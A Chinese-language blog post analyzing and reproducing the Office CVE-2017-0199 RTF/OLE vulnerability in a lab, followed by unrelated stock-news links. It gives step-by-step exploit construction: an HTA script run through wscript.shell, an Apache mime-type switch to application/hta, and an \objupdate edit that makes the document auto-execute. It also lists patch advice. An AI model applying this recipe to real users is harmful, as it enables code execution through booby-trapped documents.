CVE-2017-0199漏洞复现与研究
来源:博客 发布时间:2020-05-25 09:06:50

1引言

1.1微软office漏洞背景

微软Office系统软件(Word/Excel/PowerPoint等),一直是电脑上最为常用的办公软件之一,在国内外都拥有大量的用户。另一方面,利用Office系列软件的漏洞进行网络攻击已经成为黑客惯用的手段,广泛运用于APT攻击,抓肉鸡,传播勒索病毒等。其中一种典型的攻击方式是“鱼叉攻击”:黑客将包含漏洞的文档伪装成为一个正常的Office文档,并精心构造文件名,然后投递到用户邮箱,如果用户不小心打开文档,恶意代码便会悄悄执行,用户完全没有感知。

另外,随着新版本的Office不断发布,微软逐渐停止了对于老版本Office的技术支持,包括提供安全更新。2017 年10月,微软就正式停止了对 Office 2007的技术支持。这本是软件生命周期中不可避免的事情,但对于使用Office 软件的用户来说,除非升级到更新的版本,否则将面临被黑客攻击的风险。然而,事实上目前仍有大量的用户选择不升级,而是继续使用老版本的Office软件。

1.2 CVE-2017-0199简介

FireEye检测到使用CVE-2017-0199漏洞的恶意Microsoft Office RTF文档,这是以前从未发现的漏洞。 CVE-2017-0199漏洞发布日期为2017年4月11号,受影响系统包括:

Microsoft office 2016;Microsoft office 2013;

Microsoft office 2010;Microsoft office 2007;

◆图1 漏洞修复统计图(图中数据时间截止2017年10月)

这个漏洞在网络上公开曝光的时长已经超过了6个月,黑客早已掌握该漏洞的利用技术,并发起了多起网络攻击;另一方面,微软在2017年4月份的安全更新中就发布了该漏洞的补丁,电脑管家也多次提醒用户修复该漏洞,但截止当前,仍然有超过 1/5的用户没有选择修复该漏洞。

2原理简单分析

2.1漏洞原理简单分析

该漏洞利用OFFICE OLE对象链接技术,将包裹的恶意链接对象嵌在文档中,OFFICE调用URL Moniker(COM对象)将恶意链接指向的HTA文件下载到本地, 当用户打开包含嵌入式漏洞的文档时,winword.exe 会向远程服务器发出 HTTP 请求,以检索恶意 HTA 文件,服务器返回的文件时一个带有嵌入式恶意脚本的假 RTF 文件,winword.exe 通过 COM 对象查找 application/hta 的文件处理程序,这会导致 Microsoft HTA 应用程序(mshta.exe),加载恶意攻击者下载并执行包含 PowerShell 命令的 Visual Basic 脚本。

2.2漏洞原理简单图解

◆图2 漏洞原理简图

2.3相关知识介绍

2.3.1 HTA介绍

HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别。一般情况下,hta可以用vbscript与jscript编写,vbs功能更强大。 hta可以操作数据库,界面用html+css就可以实现,很方便写一些简单的应用。

2.3.2 OLE技术

OLE(Object Linking and Embedding,对象连接与嵌入)。是一种面向对象的技术,利用这种技术可开发可重复使用的软件组件(COM)。OLE不仅是桌面应用程序集成,而且还定义和实现了一种允许应用程序作为软件“对象”(数据集合和操作数据的函数)彼此进行“连接”的机制,这种连接机制和协议称为组件对象模型(Component Object Model),简称COM。OLE可以用来创建复合文档,复合文档包含了创建于不同源应用程序,有着不同类型的数据,因此它可以把文字、声音、图像、表格、应用程序等组合在一起。

3利用复现过程

3.1环境搭建

3.1.1 虚拟机搭建

搭建虚拟机(由于Win7所占空间较大,故采用Win XP),搭建后如图

◆图3 虚拟机环境搭建

3.1.2 Apache服务器与office搭建

Apache服务器采用php5.4.45,Microsoft office 采用Prefession 2010版本,

搭建后如图所示

◆图4 服务器搭建

3.2复现步骤

1.攻击者向目标用户发送一个嵌入了OLE2文件(对象链接)的Word文档。

2.当用户打开文档之后,winword.exe会向远程服务器发送一个HTTP请

求,并获取一个恶意HTA文件。

3.服务器返回的这个文件是一个伪造的RTF文件,其中嵌入了恶意脚本。

4.Winword.exe会通过一个COM对象来查询HTA文件处理器,而这一行为将会使微软HTA应用(mshta.exe)加载并执行恶意脚本。

3.3复现过程

1.web根目录下保存一个1.rtf文件,内容如下:

test789

 

 

var objShell = new ActiveXObject("wscript.shell");

 

objShell.Run("%SystemRoot%\\system32\\calc.exe");

 

 

2.确保apache配置文件conf/mime.types里面有rtf的content type项:

application/rtf rtf

1

3.用word生成一个空白文档,然后在其中插入一个对象。

◆图5 插入对象

4.选择由文件创建,输入web服务器上1.rtf的URL,选上“链接到文件”:

◆图6 链接到文件

5.生成一个有test789文字内嵌对象的文档,这是双击该对象只能以rtf文件方式打开对象,并不能执行hta脚本。因为生成对象的时候选中“链接到文件”,所以当打开对象的时候会去服务器上请求http://192.168.33.133/1.rtf来更新对象内容。

◆图7 生成内嵌对象文档

6.此时在apache配置文件conf/mime.types中把

application/rtf rtf

1

修改成:

application/hta rtf

1

7.把文件另保存成rtf格式:

◆图8 另存为rtf格式

8.用文本编辑器打开刚保存的rtf文件,找到object标签所在的地方:

◆图9 更改标签

{\object\objautlink\rsltpict

1

修改成:

{\object\objautlink\objupdate\rsltpict

1

重启apache后,清除IE缓存:

◆图10 清除浏览器缓存

10.保存文件再重新打开。此时无需用户交互就可直接运行hta脚本弹出计算器:

3.4复现结果

双击运行后自动弹出计算器

◆图11 复现结果

4防护方案

1.针对此漏洞,微软已经发布更新补丁。用户可以根据如下地址中的描述检查是否进行了对应的更新,如果没有,建议安装对应的补丁程序。

(https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199)

2.安装金山V8+等终端防护类软件。

5总结

微软提供的COM/OLE技术犹如一把双刃剑,在为开发人员提供方便的同时,也为攻击者进行恶意攻击提供了机会。此次漏洞便是一个很好的说明。攻击者巧妙的利用了OLE link object、URL Moniker和Windows在执行HTA文件时会匹配搜索数据流的特性,构造了包含恶意链接的RTF文档,绕过大多数的防御措施,实现自己的恶意行为。

标签: cve-2017-0199

猜你喜欢

巴安水务(300262.SZ)公布:因涉嫌信披违法违规

巴安水务(300262 SZ)公布,公司及副董事长张春霖于2022年2月16日分别收到中国证券监督管理委员会《...更多

2022-02-17 10:58:55

中国清洁能源科技(02379.HK)发布公告:清盘呈请聆

中国清洁能源科技(02379 HK)公告,于2021年11月24日,公司接获青岛晟星达电子智能信息化工程有限公...更多

2022-02-17 10:58:56

嗖嗖互联(08506.HK)发布公告:一间附属公司自愿清盘

嗖嗖互联(08506 HK)公告,于2022年2月16日,Futex Machinery Limited(公司一间间接全资附属公司)...更多

2022-02-17 10:58:56

东方电缆(603606.SH)续涨4.7% 中标13.89亿采购及敷设工程

昨日涨停的东方电缆(603606 SH)今日再度走强,现报58 29元,涨幅4 7%,总市值400 87亿。公司15...更多

2022-02-16 14:03:13

长久物流(603569.SH)触及涨停后回落 拟收购一机

长久物流(603569 SH)触及涨停后回落,现报8 26元,涨幅8 68%,总市值46 3亿。公司15日公告称,...更多

2022-02-16 14:03:13

港股百济神州(6160.HK)涨5.62% 2021年四季度继为

港股百济神州(6160 HK)涨5 62%,报133 3港元;A股百济神州(688235 SH)盘中涨2 5%,报120 8元人...更多

2022-02-16 14:03:13

民信国际控股(08456股吧)前三季度亏损收窄 每股

民信国际控股(08456股吧)公告,截至2021年12月31日止九个月,公司收益6448万港元,同比减少2 7%;期...更多

2022-02-15 14:51:21

中粮糖业(600737股吧):部分募集资金投资项目拟结项

中粮糖业(600737股吧)公布,公司第九届董事会第二十三次会议决议,审议通过了《关于部分募集资金投...更多

2022-02-15 14:51:22

中粮糖业(600737股吧)公布消息:部分募投项目拟延期

中粮糖业(600737 SH)公布,公司第九届董事会第二十三次会议决议,审议通过了《关于部分募集资金投...更多

2022-02-15 14:51:22

中山同花顺手机版V9.02.14 中山证券同花顺安卓版

软件介绍中山证券同花顺手机版是一款能为证券投资客户提供全方位的实时行情、证券交易、账户查询、...更多

2022-02-14 16:07:50